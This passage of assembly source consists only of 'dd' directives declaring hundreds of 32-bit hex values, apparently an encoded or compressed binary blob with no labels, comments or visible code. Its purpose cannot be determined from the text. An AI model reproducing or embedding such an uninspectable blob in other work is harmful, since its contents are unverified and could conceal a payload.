dd 0F5A8E812h, 257B0DDCh, 38D216Ah, 342D6C6Ah, 0CCE22BA5h
dd 8252264h, 9C941010h, 29860921h, 146402E4h, 6A468028h
dd 2422306h, 6F441820h, 25A35468h, 4E0B333h, 0B22FBE89h
dd 354F3443h, 0B93CE50Dh, 7C689D89h, 3BE742AAh, 0C1198592h
dd 6D4DBD49h, 1E8D926Dh, 0B00C7DECh, 0D3349004h, 97C01D0Eh
dd 0E8263062h, 0EEB6F507h, 0A13951E5h, 0F30A15DAh, 0A1E87CF4h
dd 0D90408C4h, 0C87CDF4h, 0D28AA076h, 1B8122E4h, 25774652h
dd 893B05Eh, 92F7B404h, 573FD3BBh, 143EF4C5h, 0CDE865C2h
dd 527A891Bh, 89F635C6h, 0DF410A24h, 0BF2EBF59h, 402493Ch
dd 0F708FBF8h, 0B13487A4h, 0F1CA38B0h, 18911559h, 0DA6764Eh
dd 1F34567Eh, 0E23BB1Dh, 691F2257h, 8434A8C9h, 0D9F51862h
dd 1078C5C6h, 1625D07Bh, 6231EC68h, 0F85DF473h, 0A92D1D2Ah
dd 20D8441Dh, 3404C683h, 0A94053E8h, 0A63B884Bh, 50D528C7h
dd 67654C33h, 414D54FCh, 52C06851h, 3462845h, 1C40C65h
dd 0DEE25E85h, 0C90C366Fh, 848A0964h, 140E2464h, 0F502F9C7h
dd 6654E482h, 4D3E810Ch, 0E1EF4A5Ah, 64204511h, 8926029Eh
dd 7E424108h, 327CF9F0h, 6429D534h, 0B4168084h, 469F9EF3h
dd 12FC3510h, 31F63324h, 1C0BE886h, 0C68B0C27h, 5051BBE9h
dd 2B1886C7h, 0F8A040B9h, 36708AFBh, 6377E832h, 322E422Bh
dd 8553AFC5h, 0B8C601F0h, 0D328654Ch, 0F5FD8906h, 0D023224Bh
dd 0AE44224Dh, 42743B7Bh, 2575D4CCh, 0E0EB3B3Dh, 561977F8h
dd 1FB127A4h, 66F32308h, 740F3429h, 0EAB3EB0Dh, 0E942941Ah
dd 0AA49566Fh, 0E0C51BDh, 0E95E4C85h, 0FB113160h, 78B833F2h
dd 331B6337h, 18A7C51Ah, 0DD0CEB5Dh, 51A26A2Bh, 8531184Bh
dd 0E69262Eh, 0D4171893h, 85AF0FD8h, 42FC3408h, 7231F280h
dd 382811B2h, 2C2814ECh, 4D441BF8h, 52155E8Ah, 8E5F5840h
dd 3552BD8Dh, 881F06ADh, 64113495h, 43B40E59h, 9366ABF3h
dd 3C2866AAh, 0B5563E59h, 3C826210h, 0FA8809FDh, 448BC54Ah
dd 8645C76Ch, 49DD828h, 80A408ABh, 0CC218440h, 73F80835h
dd 7D076A0Ah, 0A2C46842h, 0E6F64A13h, 147C9E8Ah, 0A4934D5Ah
dd 47B43F1Fh, 48E36865h, 38D207Fh, 0A46C1CC8h, 75943A13h
dd 6C902819h, 8C68C4D8h, 0F3E993CFh, 0D139DF50h, 445CC819h
dd 0EF303437h, 9EF16BE8h, 409B4A79h, 35BC8072h, 0E83A15A1h
dd 0EB3D4E03h, 0B59C3EEEh, 7A0F1B39h, 8A27E25Fh, 8D0CA284h
dd 3C20A08Ch, 0E815742Fh, 437C3C30h, 3F7F3900h, 0F73D4488h
dd 1F28A74h, 0C33A4704h, 0B3E0E775h, 205C6C88h, 0E4AFFAAh
dd 2620E8CCh, 123CFE03h, 8658663Dh, 0F4227184h, 80FA1F0h
dd 0FA96E209h, 4B725443h, 755361F5h, 75097C36h, 68A31062h
dd 0BE1AA250h, 64ED54F0h, 8A4993Fh, 0E8DA94Bh, 3417BCE9h
dd 485022C7h, 532C841Bh, 0C8449085h, 683EE46Eh, 0EFBE8959h
dd 0E622416Ah, 22505643h, 0E83602B9h, 43283340h, 337D7DB4h
dd 0EB8A73B9h, 3059BD4Fh, 0F447930Ch, 0D1F39E50h, 2CC8716Dh
dd 97EFFD62h, 0EFA3B8C1h, 15910310h, 924AD988h, 40726FC4h
dd 286E191Ah, 9C548808h, 1652E819h, 0C33B1CC8h, 0FDE5BFD3h
dd 2C880660h, 23784018h, 949231AAh, 93623E34h, 150DF338h
dd 7D221734h, 5A398EA9h, 0C85F2289h, 68C21456h, 0BBB29924h
dd 5951A214h, 0B340481Ah, 2144C4F8h, 1464602h, 0FA30217Dh
dd 3B422111h, 151E8814h, 0C15F921h, 28AF4C53h, 7D27082Eh
dd 0DC786308h, 753BFFECh, 4BB5FF14h, 383E344Ch, 950FC88Eh
dd 491AE2D2h, 0D54FD0BEh, 47454634h, 8DBA42CAh, 0A6993F19h
dd 95F09424h, 0EF4B02A3h, 0C2C3E33Eh, 1F377503h, 0A4A6E842h
dd 39371C3Dh, 0CC5A9142h, 74DA72C0h, 92ECB807h, 0FEB331Fh
dd 0E0D3CA18h, 98C1154Bh, 0C00591D0h, 0E8C1F445h, 0EC5E0A64h
dd 0DF1D7DFCh, 1FD9936Dh, 0EE18891Ah, 12AFA1EAh, 0E4A4D253h
dd 38796C93h, 8E4C69Eh, 67B62D53h, 42983F31h, 0C96FC716h
dd 0C9C88553h, 0A3750F74h, 0DA7201D8h, 8911E6F1h, 0CDC94868h
dd 5C940F20h, 0A8A44253h, 3391F540h, 28400C76h, 628DE840h
dd 39EB9C2Bh, 70453FE5h, 0ED14C722h, 402DB2C1h, 86C88B28h
dd 1024433Dh, 0D7C4CF37h, 0EB86D146h, 142A5C27h, 43179187h
dd 0D3B02227h, 7F23CF6Bh, 2B79FEE5h, 9D840F07h, 0A072020Dh
dd 0ECDEE809h, 2AC831CCh, 86A8E88h, 61897A4Eh, 6BBE6AD0h
dd 1813E80Fh, 7C648022h, 2184E105h, 88362068h, 0EC43D911h
dd 756B464Eh, 0CE942F06h, 5957530Bh, 0BC5E9DD2h, 84351FCFh
dd 0BD318AE8h, 88613A9h, 6689F88Dh, 766317Ah, 900C8627h
dd 841D25D6h, 50212052h, 0FC276833h, 30629835h, 44E48822h
dd 2DFDBC86h, 822F726Dh, 48DC68E4h, 5582E8DDh, 9881AE49h
dd 3D39FF33h, 0C321A5D8h, 0B808BD51h, 160CBCEBh, 0C00C25B8h
dd 376FBF7Fh, 3B0A802Ch, 0A3677C8h, 0F9812D74h, 19809EE1h
dd 0A805101Eh, 10C8C137h, 4F75831Dh, 4B1DB8BFh, 9CD448EBh
dd 84FC7A07h, 423A7E84h, 48333260h, 2B72238Dh, 64931022h
dd 72947976h, 0BF1310FDh, 0C3B4442h, 51F24A1h, 83141491h
dd 0BA18A57Ah, 5741308h, 365AFCEEh, 5523D88h, 0B0FF5157h
dd 0D94DB5C0h, 0C40652B8h, 9C0CB419h, 21A04386h, 0C8AC90A8h
dd 16B16FA4h, 0EF15438Dh, 89934B3Bh, 0FAA3754Ch, 0CAFBA88Eh
dd 141B916Ch, 433BFB48h, 7464FB02h, 17A8B26h, 38DD0154h
dd 750FE5A4h, 0C5768B11h, 6D0786FFh, 0C489C883h, 5833A08Eh
dd 0CDF65BEBh, 64326B11h, 439C3657h, 3657220Eh, 0B14987F6h
dd 7760E19Fh, 0D03C6807h, 6177E1F3h, 0D1E80F28h, 8872356Dh
dd 2420643Dh, 97286447h, 38B8993h, 0FB3AFD58h, 473BF974h
dd 0DAC3BB04h, 1022E0Bh, 273FBE94h, 261206C2h, 9D1E0868h
dd 8141814h, 0A73CBE13h, 2244D960h, 25EA7082h, 0AF1201B3h
dd 30C39D56h, 0F1EADAE8h, 58CC458Bh, 6DE8B812h, 928DEA4Fh
dd 586C5BE5h, 5E3F3348h
dd 0BC1826C2h, 0CDB86645h, 7C0A0225h, 7B32BC1Ch, 0CFA6592Fh
dd 664CB348h, 857B7E89h, 4A7BC748h, 44894354h, 349EB81h
dd 89266302h, 0F08D546h, 0F7069F0Ch, 4D8D821Ah, 20B187C3h
dd 5E087053h, 0A61C106Ch, 0C1EC6265h, 0BFD2E9E6h, 0CC61461h
dd 11ED3089h, 0AED90978h, 51B9154Ch, 1974F800h, 330C408Bh
dd 280794D6h, 6C21839h, 2820F647h, 0EF98359h, 0B80A751Fh
dd 0E95C2AECh, 8DE9E060h, 28C17F34h, 6DBB04E6h, 3A6C998Eh
dd 4CC18554h, 64F6464Dh, 31E25810h, 0D8535619h, 0DB231492h
dd 861922D8h, 0B7F0D88Ah, 0AD8D789h, 0B2E9A411h, 787602DAh
dd 8D079454h, 686B0870h, 0FB04743Bh, 0CFCDAEC2h, 8E4DCC58h
dd 85F8057Eh, 80789C9h, 41E4FCF7h, 6512A76h, 0E0F6190Eh
dd 51EDF855h, 435904EDh, 4EB918F9h, 8414BE08h, 510C528Bh
dd 0B9D80983h, 0E0DE9A14h, 0E891272h, 0E3E8DC55h, 0DB508C53h
dd 9303743Fh, 6302E47Eh, 403B30C6h, 928E72A4h, 0FCCEC716h
dd 0E246AB89h, 0E610C225h, 4242190h, 4A486A6h, 0A05750Dh
dd 8B0B1640h, 0F7200B5Dh, 90AFE0C3h, 26BE0A62h, 0F0E9F048h
dd 9AA63E1h, 843E8366h, 17CC0A03h, 27DD6DE9h, 9AE84265h
dd 41BD528h, 15629FCAh, 69664430h, 0B72352C7h, 315EEEE9h
dd 40B42824h, 3D2986DCh, 0F681982Dh, 547502C3h, 12040A93h
dd 0FB10106Eh, 34214D49h, 0E8C3F016h, 0E822E736h, 40BDA414h
dd 0AC0242C4h, 93577877h, 762A6439h, 2FEB6102h, 168B70A4h
dd 3D300917h, 947FD927h, 0AA0F0BFh, 84B9EB32h, 7F0A2F38h
dd 0E7D1C268h, 303543B1h, 4B901867h, 4EC44D5Ah, 824FC8B8h
dd 0FD416628h, 0C8E2702h, 54C0B70Fh, 0C9EC5A13h, 9E129B6Bh
dd 10C02D67h, 761C2140h, 474DBEECh, 0EDEBA3E5h, 69A42212h
dd 174BD673h, 119AC8A6h, 57B66CA6h, 57175C95h, 8E1C3256h
dd 8B534A7Ch, 0BC767027h, 0B71B20A2h, 5C3DCB18h, 681671B2h
dd 17B2399Ch, 61603516h, 0CF680DB6h, 0D68C2361h, 228E0A3h
dd 6429533Fh, 4FD8121Fh, 54AC75BBh, 36DE531Bh, 1B084814h
dd 2143E8A3h, 0EC913C1Bh, 0F0643088h, 0F4192062h, 46861018h
dd 38FC10F8h, 0E810A39Dh, 0C89210DCh, 370464CCh, 140F0876h
dd 8238C468h, 0B0EB34B3h, 0A49C62ECh, 0D5370C27h, 100D4884h
dd 14326CC4h, 8418BA1Bh, 1E746041h, 23A263BFh, 0F97D2443h
dd 18280D52h, 15A33D83h, 0D2CE687h, 640B5B48h, 0C524281Eh
dd 1ED54213h, 1C8105C7h, 0C3402A12h, 11171440h, 0D60A2C51h
dd 0B2D6722h, 0A965E208h, 0E3149E41h, 297D2014h, 0E8421808h
dd 121C3137h, 478CF45Fh, 0BE12B6B8h, 0E636E813h, 0AD68F042h
dd 2DCFFB01h, 0B12FD146h, 0A3CF99E5h, 0FDFA13E2h, 0F625E54h
dd 26C90807h, 0A0DA8D5h, 0B5FF1375h, 26E8042Bh, 8624A83Fh
dd 528351E9h, 0E1482B56h, 9C478B2Ah, 22EE9E6Fh, 839C021h
dd 0BE176758h, 1F3A1BE5h, 310757DFh, 0A5F88B1Dh, 11ECE555h
dd 89957FF7h, 787152F8h, 0D813C883h, 0ED6E92A2h, 10100E87h
dd 0FBE85705h, 1C1AE70Dh, 0CC25B484h, 26AB5727h, 7AE7C867h
dd 59100115h, 8295870Fh, 683D802Dh, 5B4244A2h, 0AACE8712h
dd 0C042320Bh, 0EB9C0329h, 94243E22h, 0B8092DECh, 0D0632AC9h
dd 2F0D827Ch, 0E49DC524h, 7944C2B6h, 7CBCA6ACh, 8C22A4BFh
dd 0CAF4568h, 32421421h, 85539E3Eh, 40956288h, 22B4902Bh
dd 0D40CDE32h, 2C0C560Ch, 0F41607EBh, 5245989h, 88064FE3h
dd 0A596F7F4h, 8991A31h, 0D3537105h, 0C6CE0D3Dh, 5319A040h
dd 245C2E8Bh, 185697BCh, 1F04C88h, 0C00F1295h, 6A14BB98h
dd 61B6EE3Ah, 3AE3F9E8h, 57480E71h, 4612B67Ch, 0E37D8104h
dd 7C299728h, 0AF9E7E1h, 8F89052Fh, 0ECD23414h, 800D057Bh
dd 41F88BBFh, 72C0048Dh, 0F4FA504Dh, 5677E1A4h, 822EFD27h
dd 113C42A2h, 16F3A714h, 0BE563BA1h, 0B2A41C4Ch, 0F32C356Fh
dd 5BEDBCE0h, 39699E3h, 3E125615h, 0D6E16A0Ch, 2658EC38h
dd 4E205810h, 8B56E205h, 330CF180h, 0FE8309D2h, 0E8077601h
dd 0F008B744h, 0E9D157CEh, 380E65B8h, 2E40D703h, 7549204Eh
dd 51EB5FF4h, 0B8001804h, 3805745Eh, 31FB60Fh, 81CA84D0h
dd 0FABEDE2h, 0BE10E9C1h, 0E8EEF6FEh, 0F7CB0EDEh, 82D279D0h
dd 5648530Ch, 0FEBBDF82h, 0EF37BC91h, 75F0189Bh, 0BFA0534Dh
dd 824E92E8h, 0C991CCD5h, 9BC32459h, 0D31FCD0Bh, 18E87D5Eh
dd 14507A42h, 36E67EC1h, 0AAA4E781h, 90F738C8h, 345ECA75h
dd 10E738B0h, 0DFE66C81h, 38AEFE39h, 0D8594244h, 0E0C13167h
dd 0C7341864h, 6A8B86ECh, 6808BD90h, 10B59CA4h, 5A1BE826h
dd 0E4F78C82h, 0D08FE64Ch, 6A08C0ECh, 91506804h, 14E8041Ch
dd 0C92CADE3h, 8C622905h, 8648336Bh, 86E2FB23h, 9E6AE774h
dd 0EA143C55h, 6AD31716h, 140F1103h, 0A0B78C7Ah, 0C3405ED3h
dd 244C248Bh, 3C8089AEh, 9742183h, 6DDC2F4h, 1C023A43h
dd 5AE851C3h, 621A5CE2h, 98903DF2h, 0D7D4EB77h, 37518E2Bh
dd 0A04A60C5h, 15B4C448h, 38934FCh, 0C903AD1h, 0EB019243h
dd 0B8685736h, 6AD1320Bh, 192CFB3Eh, 0F442F524h, 1FC60808h
dd 61209F8h, 65E92B94h, 570FD483h, 0E8F63304h, 0C7E80A66h
dd 5D4F0B94h, 0F5EB4B78h, 96349982h, 0E81F7520h, 82CBD98Ch
dd 0D622FA38h, 0F23C0D3Eh, 0CA8F1A8Fh, 0A11C3293h, 1B1C198Ah
dd 17A2316Ah, 2C2C1861h, 8D8C4AD6h, 12E3A007h, 0B5E4990Ah
dd 5E25F01Dh, 2CCDB9ACh, 0A52A1D0h, 0BE23541Dh, 0C2FE8694h
dd 0E0296B1h, 378ABA48h, 10271C1h, 33123A64h, 85055138h
dd 108A1510h, 0A72A6B2h, 5AC209A4h, 2BEBD007h, 1437E744h
dd 68737E56h, 0C0796218h, 4D8FE0AAh, 824212DAh, 7D0E3A2h
dd 3DA5B00Dh, 0D85C32CCh, 991CCAADh, 0CCAD1492h, 2AA70F36h
dd 42535152h, 0BFF72252h, 0A60B5D09h, 0B78929E1h, 969A760Ch
dd 4667E02h, 116BD180h, 55894F28h, 7F402EBFh, 410B4081h
dd 14AEE34h, 84C7747Ch, 0FC43870Ah, 80062DC7h, 8524ACE4h
dd 2E48607Ch, 0FBA1C5BEh, 59862AFEh, 0CD4F6A02h, 979357Dh
dd 0F4166B27h, 3748B6E6h, 7FC94085h, 0D5242152h, 0ACDC6BEh
dd 7ED16093h, 608E93D3h, 0C91BB32Ch, 0D5A18528h, 64794F21h
dd 30048E0Ah, 0D9560885h, 0BC46158Bh, 52969EC8h, 39E5FD53h
dd 0B664E919h, 0F214BDFBh, 6107632h, 0E0F1F418h, 7E830675h
dd 8002042Dh, 0EB1C765Fh, 8827A4CFh, 24E80C8Eh, 8EEFDE88h
dd 0EB6501B0h, 2C56480Bh, 0B8113293h, 134B4876h, 90045324h
dd 0E8061008h, 84904D6Eh, 0E1A73ABCh, 0F179FA84h, 36802025h
dd 1F895053h, 4329FE4h, 28714308h, 25F6A6B1h, 5692C542h
dd 1E4F802h, 11FE2423h, 2505DC12h, 49335840h, 264A10E0h
dd 5352D59Ch, 720F8EC1h, 0C22B42A5h, 4CFAFC38h, 0B5038A45h
dd 806200Ch, 0C25A0459h, 4FB83D8h, 5EA0A867h, 0A05984Ch
dd 5A751317h, 168819F6h, 2A10251Bh, 0C606F01Ah, 0D9534EC0h
dd 186A91E5h, 0CB64FC46h, 746C981Ch, 326A0E19h, 7518781Dh
dd 0E825097Ch, 0EBA4A06Ah, 1B078B10h, 0D4875C89h, 7A3F81B1h
dd 12C5DC56h, 55B11F12h, 8E2578CDh, 2C32D82Eh, 1F39A7A8h
dd 0B585E7Bh, 0DD6E166Eh, 2EBDC30h, 5FC7278Bh, 909CA353h
dd 9D89662Dh, 84BD6146h, 834B808Eh, 860F2881h, 8D139282h
dd 9ED2741Ch, 0BFA2126h, 0E04DE837h, 6074D990h, 33138B0Fh
dd 76D203C9h, 5C1FC23Ch
dd 0E039354Fh, 41440AA0h, 72CA033Bh, 4A26EBF4h, 0DB730E28h
dd 1A8E8428h, 4508B05h, 0A40A8941h, 43364296h, 0EC720A37h
dd 250E8EFFh, 704C6CE6h, 0A537CA54h, 90D93C15h, 0E92626B9h
dd 173E674Ah, 7DC004C7h, 1472063Bh, 2FBE8D81h, 0BE7C904Dh
dd 78339DDh, 4E8D4B76h, 0B2173628h, 78832AD1h, 8B2A81ACh
dd 0B6F8319h, 0D3C99B6Eh, 0EF72B155h, 3B8178BDh, 811375C2h
dd 201522FAh, 89111573h, 28512994h, 39C15C02h, 0C0E89B8h
dd 33F8E8B9h, 35D9F4D2h, 190CF3F7h, 0BEF0C832h, 0E0F1252Bh
dd 98535064h, 36FF0A3Dh, 521D269h, 8F45589h, 3B8914A4h
dd 21E40AC3h, 0EB50FFA4h, 1E39017Ah, 76FC5D89h, 87202F70h
dd 482BE833h, 54C922DFh, 0F392000h, 9DAE3676h, 1049137Ch
dd 720FC020h, 9020EBF2h, 124879B2h, 791773C8h, 1E4EFE22h
dd 5603F048h, 5833881Ah, 0BAA41075h, 9325C347h, 534E6FCEh
dd 57DBCD31h, 0F08906DDh, 0AF242376h, 9CA3BC83h, 64416926h
dd 0B6251277h, 0CD8904F5h, 52204306h, 7259D83Bh, 0A648E078h
dd 0CC819250h, 0C82BDB61h, 249C5BCCh, 44FE8162h, 0F770B2Bh
dd 2F101068h, 0CE9EDB3Fh, 5E83E368h, 1A6083C3h, 10308984h
dd 481B2C71h, 0D75A98Ch, 519C337Ch, 30426C03h, 891ACE54h
dd 0F5878889h, 463F7D40h, 0F1E4246h, 4FB9C295h, 8FC06862h
dd 2404299Bh, 0B88743ABh, 3B3943DFh, 0D26507Ch, 0A2839240h
dd 0EBED00A0h, 904E8B2Eh, 0EAE7F9A9h, 3D215649h, 0C969C88Ah
dd 33F80F5h, 2E1C1CAh, 4C8D5107h, 44471086h, 4BF0C44h
dd 32DABE1Bh, 5FF841FFh, 0BC92902Dh, 5839C448h, 89EC9CC6h
dd 0FCE789CDh, 19608597h, 1B565176h, 0CD708D57h, 0FBAC1C67h
dd 90C319E7h, 133D7F10h, 621A391Eh, 7D04C21Dh, 558B7458h
dd 0A4D740C9h, 3E70FF1Fh, 2BA8BC89h, 659201FFh, 61E53ADCh
dd 98203B23h, 0E0B66A72h, 3F9AB78Dh, 2B515387h, 0EBFCA024h
dd 8993F34h, 97C9C604h, 289B62Ch, 8BA1ECDAh, 10F14855h
dd 0A87EEFA1h, 735887BAh, 0CAE111Ch, 0BE5C3B76h, 881A55A6h
dd 0C64ADD11h, 0C4584712h, 95EB723Fh, 805D8624h, 1478D7Dh
dd 5B2C8A97h, 0EFEB4C31h, 5433424Ch, 586EDCEDh, 0CD40FF04h
dd 0C10C497Eh, 24A5802Ah, 69C12F89h, 0FC2660Ah, 3ABB5FEDh
dd 14F30641h, 8E441460h, 814ABFC9h, 8925C9AFh, 7603A5D9h
dd 0D2E75800h, 4291CDE4h, 790C2ED9h, 9281010h, 17E038CBh
dd 0FFEEB40h, 8320BE67h, 0FDD101C3h, 6437DDD6h, 0B1585404h
dd 0E4EB64F5h, 8E0C1287h, 127425AEh, 4AEDC4F3h, 4BB40B57h
dd 0F813EA95h, 5830D993h, 853D6A8Ah, 6678E5CBh, 8817EC6h
dd 2B392119h, 333D0130h, 62A29A27h, 1A54E0Eh, 0D2B8AC72h
dd 58EAB14Ch, 9D92B5ADh, 8FA3B5Eh, 53452374h, 7B56A68Ch
dd 1AF14899h, 0D4FEF714h, 0F878B04Ah, 2BA82FD2h, 50D2824Bh
dd 9F28A3C5h, 0E5ADAC7Dh, 0DCACDC90h, 22E0908Dh, 0A2D84214h
dd 0E5E90207h, 1442495Eh, 42D55257h, 0EB24F4CBh, 2D6D1F8h
dd 0F797E826h, 8FB4EE95h, 4C75ED68h, 0BD864A76h, 0DD9A53D8h
dd 530FD465h, 0A7C760D2h, 9409010Ah, 0BE289D56h, 159514F8h
dd 3B064258h, 563A76D3h, 38393280h, 0E55C6094h, 3E9D1A45h
dd 60CA3215h, 810E8D28h, 4CC24995h, 39E93F5Ch, 8AA72141h
dd 0A6F6F122h, 6BAE0A49h, 3B391444h, 3A89B524h, 84102695h
dd 9224F34Eh, 89025832h, 36631B47h, 5A41402Ah, 5C101881h
dd 20511504h, 3B92315h, 5702FE83h, 46FAF472h, 0E4468D0Bh
dd 2AFBAD9Dh, 5824C02Ch, 891DC50Fh, 0C63BFC30h, 68107205h
dd 630A271Eh, 4BF244h, 8004EBC8h, 0D9384A24h, 2A9909F9h
dd 741BDD0Ah, 243802Ch, 49F4755Dh, 0E8849F10h, 0B034BF98h
dd 0B82E93F2h, 0D71462A7h, 53C4B90Bh, 5625C529h, 0B7F8C629h
dd 5E1235BCh, 0BBF86E08h, 6F4B514h, 8BEFEC7Ch, 4212F0E2h
dd 0BAE3EC3Ch, 0EFF02268h, 44250ED0h, 4C9956B2h, 0C6E7B969h
dd 1390222Ah, 33542192h, 25D94A08h, 0F3A7D1F9h, 38B885E5h
dd 8A8A4513h, 0C47DFCD6h, 287102B9h, 460308FDh, 0D5F517D6h
dd 0F9BE7888h, 6A1C7A29h, 65029303h, 0F8125346h, 2F749C3Ah
dd 4D8DB501h, 0E0315FE4h, 0D35104E0h, 7D99833Eh, 2D0AF1ECh
dd 536785FDh, 31E81D90h, 7CA4AAF5h, 0C63CB79Fh, 14C9A3C2h
dd 0B298F9CFh, 60A4E71Eh, 0E496FC18h, 0FECF8204h, 106629BBh
dd 3075EC68h, 4C5D15AEh, 0F80F89C3h, 0ADC3E762h, 0EBAC2065h
dd 7AFD2811h, 25E92E40h, 7EDA0503h, 85CF1061h, 0AF32ECC8h
dd 0CB4EE819h, 430D558Ah, 0C6F52486h, 173DD1DBh, 0F052511h
dd 0E70FCE21h, 0D5723940h, 8B1EA688h, 0B8894C96h, 14661366h
dd 0ED8CEA51h, 0F1784DEh, 87B09F8Eh, 0B1E99EBBh, 4148DD2Ah
dd 60267F3h, 188220Fh, 0FDB4757Fh, 745FE884h, 0B226F69Ch
dd 0D525153h, 977E4B68h, 6883AF2Ch, 1021945Fh, 0E263D4BEh
dd 462EE912h, 50C73BA6h, 0A7850F10h, 78247665h, 45868C2Eh
dd 95110990h, 173A6618h, 44D63D10h, 448BF671h, 7342EC02h
dd 0DFE6568Ch, 18B60DA9h, 0C5118DD2h, 8616B8A2h, 2278436Ch
dd 0E1594A06h, 166E0846h, 0A1BA7AA5h, 0EB2007D3h, 737DA284h
dd 0E988A79Dh, 0F2BF71D3h, 0E1C9901Ch, 103A841h, 0DF164412h
dd 82369429h, 280E08B4h, 460E1AD9h, 0D367C49Fh, 72A57768h
dd 0C99F4D95h, 0DC76228Ch, 90A19D72h, 3C1EF248h, 0E8667305h
dd 9D6872A7h, 291AFD99h, 7DE40E8Bh, 119D1B39h, 0DAA3D2CAh
dd 0F9B038F4h, 41F49018h, 339166A7h, 433625B2h, 0E4E98417h
dd 429A1A3h, 4B70F1D8h, 0A446216Ah, 6F735020h, 714CE879h
dd 0ECC3F31Ch, 0D9CDE3Dh, 9C88A946h, 23E0365Ah, 0FA47D1EAh
dd 0F2D071E8h, 61E98831h, 54236F4Eh, 3A684744h, 0A92D108Dh
dd 1B7B19C6h, 56638B2Ah, 5E22721Ch, 68D2332Ch, 537F8A5h
dd 848A1A76h, 8D170515h, 0D007458Ch, 0F09084E0h, 3B79425Ch
dd 83E67205h, 4FCB1CC0h, 3BCA8518h, 7068F9E8h, 0CC511374h
dd 714A1608h, 0C01A0F45h, 0A424C083h, 485AFBCh, 0D004C280h
dd 0C2DED429h, 6A7CD9E8h, 0E6D45832h, 0B9EB616h, 4EB25014h
dd 3354824Bh, 7DE8666Fh, 0D24EEA50h, 20CDF88Ah, 32B37096h
dd 4E7EB6AAh, 73288D8Bh, 0E747ACDCh, 0E022144Ah, 6A2D13B8h
dd 0B735CB10h, 63A3B60Ah, 60501127h, 428C4229h, 0D596D91Ch
dd 28858B61h, 87D8653Fh, 0B6B8977h, 0D5B33B9Bh, 2F668CD1h
dd 25FC22C8h, 0FE5013E8h, 0E50D07BBh, 0CB3EFF29h, 221643EEh
dd 0EA2980CFh, 0E0EB80F8h, 0B0074E9Dh, 82C170CAh, 0F9A571D6h
dd 1C14B2DBh, 8852AD24h, 0EE2FE813h, 11F0E5CFh, 234B4A98h
dd 70EBF846h, 0AB459D8Fh, 0CC8A710h, 0C414C108h, 21032A7h
dd 185F14B0h, 0A0D0020Dh, 28891808h, 4552AD86h, 1C1C90F4h
dd 0E611B121h, 0B8E8B14h, 45B52264h, 0BDEC60B8h, 0C83B2C81h
dd 0C18BF87Dh, 28210BBEh, 6A037F07h, 986858A0h, 0FC98BF3Ah
dd 18823EA9h, 9927E240h, 64F8A5FEh, 81504B7h, 0F91E1B82h
dd 0A5F92515h, 53E85531h, 0C3EBFB0h, 986E86C6h, 0C35E6523h
dd 0DEC21952h, 0E804820Ch, 0C31E901Dh, 50682757h, 2C106568h
dd 0DB06D782h, 0C29DCDF8h, 777392DEh, 56625C22h, 0C694CDEh
dd 0B7573127h, 6D46105h, 654CA308h, 64BC1BC8h, 19A46240h
dd 51830C44h, 0F3C3223Dh, 5E0D2748h, 24F4448Fh, 0E50CF54Bh
dd 0B095244h, 0C618B0D2h
dd 11B6C05h, 18ECB55Fh, 8D0C19F3h, 802B40B1h, 401F3D51h
dd 330775CCh, 0E2E9F61Ah, 0AC80F63Dh, 0CE598929h, 0E98BA9F1h
dd 4257D4BEh, 55FDE8Bh, 34AACEABh, 0D21709CBh, 534C79DAh
dd 9884D047h, 8B2DD3h, 0FB3BEC7Dh, 0DE030872h, 0D1EB17A0h
dd 0C0EFC125h, 267D894Ah, 20D969F0h, 12989256h, 71CE05E8h
dd 0BF0B75E9h, 0CD69F247h, 0EDDE8AA1h, 3E890805h, 40916FDh
dd 0C2504976h, 0F8682695h, 0BFF42870h, 0B4B3B237h, 0F0E80C57h
dd 4D398B55h, 6846E7F8h, 34903BD4h, 630C8909h, 448D1B03h
dd 0A314D3B4h, 66833B37h, 0FE40F0E9h, 4DFF05DFh, 0AC575F4h
dd 1160F08Ah, 3B06B9Ch, 630B8604h, 0FC7DAF95h, 34FF690Ch
dd 4E68A803h, 0F8711610h, 6E8057A0h, 7B08B334h, 64FCA0D7h
dd 0AEF409F0h, 3BD5D52h, 0A9046A12h, 0E04029A2h, 6406758Fh
dd 0F7E8AEE9h, 0EA6AE086h, 35F4BECCh, 0A7418B48h, 4026829Ah
dd 78DDBD8Dh, 4C891F3Fh, 6212EA03h, 0A00815E4h, 86FEA957h
dd 9533DCF4h, 1E7E0C09h, 0C46AD44Bh, 5E8D26DCh, 24E6B2E0h
dd 4FC14244h, 1847BD80h, 21462A0Fh, 0DD58E4C8h, 0C836ACCCh
dd 51AFB918h, 811E9792h, 3F197614h, 0FEDB53C1h, 0EE01DE09h
dd 807A0AEBh, 0B8489D0h, 0CB321058h, 61F57CF8h, 4014C381h
dd 0FFC4D0Fh, 55FA8535h, 29BFFD61h, 0C55E643Fh, 3225F3C1h
dd 6C59B16Dh, 6EA84526h, 0AC323D94h, 87DC2958h, 0D1CC5242h
dd 814495B1h, 57AB169Eh, 756FA8F3h, 74F73B1Ch, 4227557Ch
dd 3FF436FAh, 17655C94h, 0E4213B24h, 2C554E19h, 2F3EB5F0h
dd 3F1C477Eh, 0F05E4B7h, 510C488Dh, 60870E6h, 0C365CF9h
dd 4DE32086h, 0B99E5284h, 0B628F2Ch, 0D698DF43h, 7C2C1E3Bh
dd 0C20873B9h, 5B590BCBh, 0FE587582h, 5A255A23h, 3F26F11Bh
dd 0A6569DC8h, 9BE816B5h, 275EF7CBh, 0B44DD12Ah, 8B8EC9DEh
dd 18CB8EB4h, 594C688Fh, 5F84E73Bh, 1E80248h, 9DE1CC24h
dd 219AB9EEh, 0C2421090h, 0AA145D7Dh, 81BAB822h, 75CB9E2Eh
dd 0D1D88B63h, 76733024h, 0F77DA948h, 0B86AA1D2h, 58530180h
dd 276D13Bh, 1CF21CA5h, 0A418E829h, 63255E24h, 106A998Ch
dd 50C8B7Bh, 57097514h, 1C00AEC4h, 4D8D63EBh, 5D89390Ch
dd 0ADDC51B6h, 0E7B7505Eh, 393C740Dh, 8037D428h, 63BD2473h
dd 761707E3h, 7B048A21h, 1011187Eh, 0F01FF07Dh, 0F816F808h
dd 7FF9F904h, 2E86C6D1h, 863B412Eh, 81DF7235h, 4CAF9606h
dd 0B888E3A9h, 9DA2CAA6h, 0DFAAFBACh, 5617B7CEh, 91323374h
dd 0A42088D8h, 0A0FD592Fh, 0B537B0B0h, 0D6EEB12h, 7A1425FFh
dd 92DE708Dh, 7E148B40h, 0C40C45C0h, 8559BA1Dh, 8800697Ah
dd 46073E04h, 8FE8359h, 80EC7C40h, 3DB0D967h, 87BA1C10h
dd 0A1DD0610h, 9CC81411h, 0DA0D1071h, 7024D9FBh, 0BEAC1412h
